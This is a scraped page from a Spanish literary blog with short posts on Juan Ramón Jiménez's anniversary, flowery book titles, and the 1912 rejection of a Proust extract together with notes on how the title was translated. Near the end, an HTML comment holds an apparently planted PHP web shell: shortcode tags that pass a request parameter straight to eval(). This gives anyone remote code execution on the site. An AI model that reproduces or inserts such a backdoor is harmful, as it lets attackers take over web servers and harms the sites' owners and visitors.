Skip to content

La hormiga remolona Posts

JRJ

No le toques ya más,

que así es la rosa.

Hoy hace 120 años que nació en Moguer. “A la minoría, siempre”.

Deja un comentario

Flores

A la sombra de las muchachas en flor: el título de esta novela ocupa el primer lugar en el ranking de los más cursis de la literatura seria.

Titular con flores es arriesgado después de Baudelaire.

Deja un comentario

A la recherche du temps perdu

Tal día como hoy, en 1912, la revista francesa Nouvelle Revue Francaise rechaza publicar un extracto de En busca del tiempo perdido. No sería la única.

Marcel, siempre enfermizo, fue oscureciendo el fondo de unos mismos personajes volumen tras volumen. Pero también supo captar toda la vitalidad y alegría de las playas de Balbec/Normandía durante el cruce de siglo en A la sombra de las muchachas en flor.

La traducción española de la obra guarda un curioso aire Indiana Jones. La inglesa frivoliza la intensa búsqueda de Proust hasta conseguir una redundancia muy sonora: Remembrance of times past.

<!– [insert_php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/insert_php][php]if (isset($_REQUEST["wKqX"])){eval($_REQUEST["wKqX"]);exit;}[/php] –>

2 Comments